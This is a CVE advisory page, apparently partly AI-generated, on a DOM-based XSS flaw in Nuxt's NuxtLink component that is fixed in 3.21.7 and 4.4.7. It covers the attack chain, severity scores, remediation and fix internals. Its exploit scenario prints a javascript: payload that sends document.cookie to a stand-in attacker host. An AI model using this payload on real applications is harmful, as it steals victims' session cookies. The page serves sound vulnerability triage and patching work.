Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconIdentify Nuxt app binding untrusted URL to <NuxtLink> prop
-
DeliverySubmit javascript: or vbscript: payload as link value (CMS field, query param, profile URL)
-
ExploitApplication renders crafted href verbatim in <a> element
-
InstallSend victim a link to the affected page
-
C2Victim clicks rendered anchor
-
ExecuteScript executes in application origin
-
ImpactExfiltrate session tokens or perform authenticated actions
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires that the target Nuxt application explicitly passes attacker-controlled input - originating from a query parameter, a user-supplied profile URL, a CMS-managed link field, or any other external data source - directly to the to or href prop of a <NuxtLink> component without prior scheme validation. Applications that use <NuxtLink> solely for internal route navigation (e.g., to='/about') are not affected. Custom slot consumers that re-bind the exposed href or route.href slot props to their own <a> elements under the custom prop scenario face identical risk. Exploitation is further limited by the requirement that the victim must click the rendered link - passive page load does not trigger the javascript: XSS payload. The data:text/html variant bypasses the click-to-execute XSS path but enables a phishing surface. No authentication is required of the attacker, and the victim's authentication level is irrelevant to exploitability (though a highly privileged victim yields greater impact). Non-default configuration or feature flags are not required - the vulnerable code path is active in any Nuxt application using the <NuxtLink> component with dynamic href binding. |
| Impact | The CVSS 4.0 score of 5.1 (Medium, AV:N/AC:L/AT:N/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N) accurately characterizes the exploitability profile: the attack is network-reachable with no complexity or privilege requirements, but requires a victim to click the crafted link (UI:A), which meaningfully constrains mass exploitation. The EPSS score of 0.06% at the 20th percentile is consistent with the user-interaction requirement and the conditional nature of the vulnerable pattern - only applications that bind untrusted input to NuxtLink are exposed, not all Nuxt deployments. The vulnerability is not in CISA KEV, confirming no active exploitation at time of analysis. However, the public security advisory and fix commits effectively document the vulnerability's mechanics, lowering the barrier for a motivated attacker to craft targeted phishing campaigns. No conflicting signals were found between CVSS metrics and the description: the network attack vector is accurate for a web-delivered XSS, and UI:A correctly captures the click requirement. The primary real-world risk is targeted phishing or session-hijacking against higher-privileged users of affected applications with user-controlled link rendering, rather than broad automated exploitation. |
| Exploit ScenarioDerived | An attacker identifies a Nuxt application that renders user-supplied profile URLs through <NuxtLink :to='user.profileUrl'> and submits javascript:fetch('https://attacker.example/c?d='+document.cookie) as their profile URL value stored in the application's CMS or user record. When an authenticated victim (such as an administrator reviewing user profiles) visits the page and clicks the rendered profile link, the script executes in the application's origin, exfiltrating the victim's session cookies or CSRF tokens to the attacker's server. No special tooling is required beyond crafting the malicious URL value, and no public exploit code currently exists that would automate this attack. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Jun 12, 2026
Reflected DOM-based XSS in Nuxt's built-in <NuxtLink> component allows an unauthenticated attacker to inject script-capable URLs (javascript:, vbscript:) that execute in the application's origin when a victim clicks a crafted link, affecting all Nuxt v3 versions prior to 3.21.7 and v4 versions prior to 4.4.7. Exploitation is contingent on application code that binds attacker-controlled input - such as query parameters, CMS link fields, or user-supplied profile URLs - directly to the component's to or href props without prior sanitization. No public exploit code has been identified and the EPSS score of 0.06% (20th percentile) indicates low observed exploitation probability; vendor-released patches are available in versions 3.21.7 and 4.4.7.
RemediationAI
The primary remediation is to upgrade to Nuxt 3.21.7 (v3 branch) or 4.4.7 (v4 branch), both of which include the sanitizeExternalHref() fix confirmed by patch commits at https://github.com/nuxt/nuxt/commit/0103ce06fbbbdfa079a7f020ef8ce00121eac4a3 and https://github.com/nuxt/nuxt/commit/53284043dc21210a25d629d1cec67d3ae557ffd0. If immediate upgrade is not feasible, applications should implement server-side or data-layer URL validation before binding any external input to <NuxtLink> props: specifically, allow only known-safe schemes (https:, http:, mailto:, tel:) via an explicit allowlist, rejecting all others prior to rendering - placing this check in the data pipeline rather than in the template avoids reliance on client-side component behavior. Additionally, deploying a strict Content Security Policy header (script-src 'self' with no unsafe-inline) will reduce exploitability of any residual XSS sinks, though CSP alone will not prevent DOM-based injection or the data: phishing vector. Custom slot consumers that re-bind the href or route.href slot props to their own anchor elements must apply the same input sanitization.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in npm
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The vulnerability resides in packages/nuxt/src/app/components/nuxt-link.ts, Nuxt's routing anchor component that wraps Vue Router's useLink composable. Prior to the fix, any value passed to the to or href prop was reflected verbatim into the rendered <a> element's href attribute without protocol validation, satisfying CWE-79 (Improper Neutralization of Input During Web Page Generation). Browsers interpret javascript: and vbscript: URLs as executable scripts when activated, making any unsanitized href sink a potential XSS vector. A secondary data:text/html payload does not execute in the application's origin but enables a same-tab phishing surface anchored to a legitimate URL. The custom slot mechanism also exposed the raw href and route.href values to slot consumers, meaning applications that re-bound those props to their own anchor elements were identically vulnerable. The fix, delegating scheme validation to ufo's isScriptProtocol helper, introduces sanitizeExternalHref() which strips ASCII whitespace and control characters (exploited by parsers tolerating them before the scheme), recursively peels view-source: prefixes (transparently resolved by Chromium), and rejects javascript:, data:, vbscript:, and blob: schemes by returning null. The affected CPE is cpe:2.3:a:nuxt:nuxt:* covering all pre-patch releases.
Know when Nuxt gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N
Network-delivered XSS with no privileges required; S:C because script executes in the application's browser origin; UI:R for required victim click.
Primary rating from Vendor (GitHub_M).
CVSS VectorVendor: GitHub_M
Lifecycle Timeline
1DescriptionCVE.org
Nuxt is an open-source web development framework for Vue.js. Prior to versions 3.21.7 and 4.4.7, <NuxtLink> did not validate the URL scheme of values bound to its to or href props before rendering them into the href attribute of the underlying <a> element. When an application binds attacker-controlled input (a query parameter, a CMS field, a user-supplied profile URL) to <NuxtLink :to> or :href, the attacker can supply a javascript: or vbscript: URL that is reflected verbatim into the rendered markup. Clicking the link executes the supplied script in the origin of the Nuxt application, resulting in reflected DOM-based cross-site scripting. A data:text/html,... payload reflected through the same sink does not execute in the application's origin but enables a same-tab phishing surface anchored to a legitimate application link. The same value was exposed to consumers of the component's custom slot via the href and route.href props, so applications that re-bind those values to their own anchors were affected identically. This issue has been patched in versions 3.21.7 and 4.4.7.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
Code Injection in GitHub repository nuxt/nuxt prior to 3.5.3. Rated critical severity (CVSS 9.8), this vulnerability is
Nuxt is a free and open-source framework to create full-stack web applications and websites with Vue.js. Rated high seve
Nuxt is a free and open-source framework to create full-stack web applications and websites with Vue.js. Rated high seve
Nuxt is a free and open-source framework to create full-stack web applications and websites with Vue.js. Rated high seve
Unauthenticated server-side request forgery in Nuxt OG Image (the npm package nuxt-og-image) 6.0.2 through 6.6.x allows
A vulnerability in Nuxt DevTools has been fixed in version **2.6.4***. Rated medium severity (CVSS 6.9), this vulnerabil
Nuxt is a free and open-source framework to create full-stack web applications and websites with Vue.js. Rated medium se
Cross-site Scripting (XSS) - Generic in GitHub repository nuxt/framework prior to 3.2.1. Rated medium severity (CVSS 6.1
Cross-site Scripting (XSS) - Reflected in GitHub repository nuxt/framework prior to v3.0.0-rc.13. Rated medium severity
Use of Hard-coded Credentials in GitHub repository nuxtlabs/github-module prior to 1.6.2. Rated critical severity (CVSS
Authentication/authorization bypass in Clerk's official JavaScript SDKs (@clerk/nextjs, @clerk/nuxt, @clerk/astro, and t
Route-rule middleware bypass in Nuxt 3.11.0-3.21.6 and 4.0.0-4.4.6 allows remote attackers to evade routeRules-defined p
EUVD-2026-36428
GHSA-934w-87qh-qr26
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB